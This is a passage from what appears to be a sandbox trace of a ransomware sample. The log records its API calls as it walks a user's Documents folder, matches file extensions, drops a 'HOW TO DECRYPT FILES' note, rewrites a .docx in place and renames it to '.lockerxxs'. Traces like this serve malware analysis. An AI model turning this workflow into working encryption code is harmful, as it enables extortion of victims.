HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.edb") returned 0 [0089.387] lstrlenA (lpString="*.edb") returned 5 [0089.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.accdb") returned 0 [0089.387] lstrlenA (lpString="*.accdb") returned 7 [0089.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.odb") returned 0 [0089.387] lstrlenA (lpString="*.odb") returned 5 [0089.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.java") returned 0 [0089.387] lstrlenA (lpString="*.java") returned 6 [0089.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.asm") returned 0 [0089.387] lstrlenA (lpString="*.asm") returned 5 [0089.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.pfx") returned 0 [0089.388] lstrlenA (lpString="*.pfx") returned 5 [0089.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.pem") returned 0 [0089.388] lstrlenA (lpString="*.pem") returned 5 [0089.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.p12") returned 0 [0089.388] lstrlenA (lpString="*.p12") returned 5 [0089.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.gpg") returned 0 [0089.388] lstrlenA (lpString="*.gpg") returned 5 [0089.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.vsd") returned 0 [0089.388] lstrlenA (lpString="*.vsd") returned 5 [0089.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.odg") returned 0 [0089.388] lstrlenA (lpString="*.odg") returned 5 [0089.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.raw") returned 0 [0089.388] lstrlenA (lpString="*.raw") returned 5 [0089.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.nef") returned 0 [0089.388] lstrlenA (lpString="*.nef") returned 5 [0089.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.svg") returned 0 [0089.389] lstrlenA (lpString="*.svg") returned 5 [0089.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.psd") returned 0 [0089.389] lstrlenA (lpString="*.psd") returned 5 [0089.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.vmx") returned 0 [0089.389] lstrlenA (lpString="*.vmx") returned 5 [0089.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.vmdk") returned 0 [0089.389] lstrlenA (lpString="*.vmdk") returned 6 [0089.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.vdi") returned 0 [0089.389] lstrlenA (lpString="*.vdi") returned 5 [0089.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.lay6") returned 0 [0089.389] lstrlenA (lpString="*.lay6") returned 6 [0089.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.mpeg") returned 0 [0089.389] lstrlenA (lpString="*.mpeg") returned 6 [0089.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.djvu") returned 0 [0089.389] lstrlenA (lpString="*.djvu") returned 6 [0089.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.tiff") returned 0 [0089.389] lstrlenA (lpString="*.tiff") returned 6 [0089.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.backup") returned 0 [0089.390] lstrlenA (lpString="*.backup") returned 8 [0089.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.pdf") returned 0 [0089.390] lstrlenA (lpString="*.pdf") returned 5 [0089.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.cert") returned 0 [0089.390] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87666190, ftCreationTime.dwHighDateTime=0x1d5e36a, ftLastAccessTime.dwLowDateTime=0xf03efcb0, ftLastAccessTime.dwHighDateTime=0x1d5dcec, ftLastWriteTime.dwLowDateTime=0xf03efcb0, ftLastWriteTime.dwHighDateTime=0x1d5dcec, nFileSizeHigh=0x0, nFileSizeLow=0x15ca3, dwReserved0=0x0, dwReserved1=0x0, cFileName="a6pFpqKcT08uc_.pps", cAlternateFileName="A6PFPQ~1.PPS")) returned 1 [0089.390] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0089.390] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="a6pFpqKcT08uc_.pps") returned 1 [0089.390] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="a6pFpqKcT08uc_.pps") returned 1 [0089.390] lstrcmpiA (lpString1="", lpString2="a6pFpqKcT08uc_.pps") returned -1 [0089.390] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf") returned="0qRbO.rtf" [0089.390] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" [0089.390] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\") returned="" [0089.390] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt" [0089.391] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\z51nbz3\\how to decrypt files.txt")) returned 0x20 [0089.391] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\", lpString2="a6pFpqKcT08uc_.pps" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\a6pFpqKcT08uc_.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\a6pFpqKcT08uc_.pps" [0089.391] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\a6pFpqKcT08uc_.pps", pszSpec="*.ems") returned 0 [0089.391] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87331f60, ftCreationTime.dwHighDateTime=0x1d5de42, ftLastAccessTime.dwLowDateTime=0x228c7560, ftLastAccessTime.dwHighDateTime=0x1d5e3d4, ftLastWriteTime.dwLowDateTime=0x228c7560, ftLastWriteTime.dwHighDateTime=0x1d5e3d4, nFileSizeHigh=0x0, nFileSizeLow=0xcfad, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="WnzXdtdRg47WLT.odt", cAlternateFileName="WNZXDT~1.ODT")) returned 1 [0089.391] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0089.391] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WnzXdtdRg47WLT.odt") returned -1 [0089.391] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WnzXdtdRg47WLT.odt") returned -1 [0089.391] lstrcmpiA (lpString1="", lpString2="WnzXdtdRg47WLT.odt") returned -1 [0089.391] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\a6pFpqKcT08uc_.pps") returned="a6pFpqKcT08uc_.pps" [0089.391] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" [0089.391] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\") returned="" [0089.391] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt" [0089.392] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\z51nbz3\\how to decrypt files.txt")) returned 0x20 [0089.392] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\", lpString2="WnzXdtdRg47WLT.odt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\WnzXdtdRg47WLT.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\WnzXdtdRg47WLT.odt" [0089.392] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\WnzXdtdRg47WLT.odt", pszSpec="*.ems") returned 0 [0089.392] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a03a60, ftCreationTime.dwHighDateTime=0x1d5da17, ftLastAccessTime.dwLowDateTime=0x4d7f6d80, ftLastAccessTime.dwHighDateTime=0x1d5e006, ftLastWriteTime.dwLowDateTime=0x4d7f6d80, ftLastWriteTime.dwHighDateTime=0x1d5e006, nFileSizeHigh=0x0, nFileSizeLow=0x2e29, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="zuW8H21FmcZl_ed02o.odp", cAlternateFileName="ZUW8H2~1.ODP")) returned 1 [0089.392] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0089.392] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="zuW8H21FmcZl_ed02o.odp") returned -1 [0089.392] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="zuW8H21FmcZl_ed02o.odp") returned -1 [0089.392] lstrcmpiA (lpString1="", lpString2="zuW8H21FmcZl_ed02o.odp") returned -1 [0089.392] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\WnzXdtdRg47WLT.odt") returned="WnzXdtdRg47WLT.odt" [0089.392] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" [0089.392] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\") returned="" [0089.393] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt" [0089.393] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\z51nbz3\\how to decrypt files.txt")) returned 0x20 [0089.393] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\", lpString2="zuW8H21FmcZl_ed02o.odp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\zuW8H21FmcZl_ed02o.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\zuW8H21FmcZl_ed02o.odp" [0089.393] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\zuW8H21FmcZl_ed02o.odp", pszSpec="*.ems") returned 0 [0089.393] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a03a60, ftCreationTime.dwHighDateTime=0x1d5da17, ftLastAccessTime.dwLowDateTime=0x4d7f6d80, ftLastAccessTime.dwHighDateTime=0x1d5e006, ftLastWriteTime.dwLowDateTime=0x4d7f6d80, ftLastWriteTime.dwHighDateTime=0x1d5e006, nFileSizeHigh=0x0, nFileSizeLow=0x2e29, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="zuW8H21FmcZl_ed02o.odp", cAlternateFileName="ZUW8H2~1.ODP")) returned 0 [0089.393] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0089.393] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe547620, ftCreationTime.dwHighDateTime=0x1d5da73, ftLastAccessTime.dwLowDateTime=0x3bb564e0, ftLastAccessTime.dwHighDateTime=0x1d5df7c, ftLastWriteTime.dwLowDateTime=0x3bb564e0, ftLastWriteTime.dwHighDateTime=0x1d5df7c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="z51nBz3", cAlternateFileName="")) returned 0 [0089.393] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0089.394] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86295f0, ftCreationTime.dwHighDateTime=0x1d5ab36, ftLastAccessTime.dwLowDateTime=0x4e536330, ftLastAccessTime.dwHighDateTime=0x1d55d8c, ftLastWriteTime.dwLowDateTime=0x4e536330, ftLastWriteTime.dwHighDateTime=0x1d55d8c, nFileSizeHigh=0x0, nFileSizeLow=0xea14, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="Jqzev8Zo_O.docx", cAlternateFileName="JQZEV8~1.DOC")) returned 1 [0089.394] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0089.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Jqzev8Zo_O.docx") returned -1 [0089.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Jqzev8Zo_O.docx") returned -1 [0089.394] lstrcmpiA (lpString1="", lpString2="Jqzev8Zo_O.docx") returned -1 [0089.394] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*") returned="*.*" [0089.394] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0089.394] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="" [0089.394] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" [0089.394] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to decrypt files.txt")) returned 0x20 [0089.394] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="Jqzev8Zo_O.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx" [0089.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx", pszSpec="*.ems") returned 0 [0089.394] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx" [0089.395] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx" [0089.395] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx." [0089.395] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx.lockerxxs" [0089.395] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jqzev8zo_o.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0089.396] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xea14 [0089.396] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb86295f0, dwHighDateTime=0x1d5ab36), lpLastAccessTime=0x407536*(dwLowDateTime=0x4e536330, dwHighDateTime=0x1d55d8c), lpLastWriteTime=0x40753e*(dwLowDateTime=0x4e536330, dwHighDateTime=0x1d55d8c)) returned 1 [0089.396] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.396] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xe9ee, lpOverlapped=0x0) returned 1 [0089.398] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx") returned="Jqzev8Zo_O.docx" [0089.399] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.399] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xe9ee, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xe9ee, lpOverlapped=0x0) returned 1 [0089.400] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.400] CloseHandle (hObject=0x88) returned 1 [0089.400] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jqzev8zo_o.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jqzev8zo_o.docx.lockerxxs")) returned 1 [0089.402] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad061d0, ftCreationTime.dwHighDateTime=0x1d5e15f, ftLastAccessTime.dwLowDateTime=0x92b65fa0, ftLastAccessTime.dwHighDateTime=0x1d5d870, ftLastWriteTime.dwLowDateTime=0x92b65fa0, ftLastWriteTime.dwHighDateTime=0x1d5d870, nFileSizeHigh=0x0, nFileSizeLow=0x178ee, dwReserved0=0x37000334, dwReserved1=0x4e00c4, cFileName="jTKOxr61LK.pps", cAlternateFileName="JTKOXR~1.PPS")) returned 1 [0089.402] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0089.402] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jTKOxr61LK.pps") returned -1 [0089.402] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jTKOxr61LK.pps") returned -1 [0089.402] lstrcmpiA (lpString1="", lpString2="jTKOxr61LK.pps") returned -1 [0089.402] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Jqzev8Zo_O.docx") returned="Jqzev8Zo_O.docx" [0089.402] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0089.402] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="" [0089.402] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" [0089.402] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to decrypt files.txt")) returned 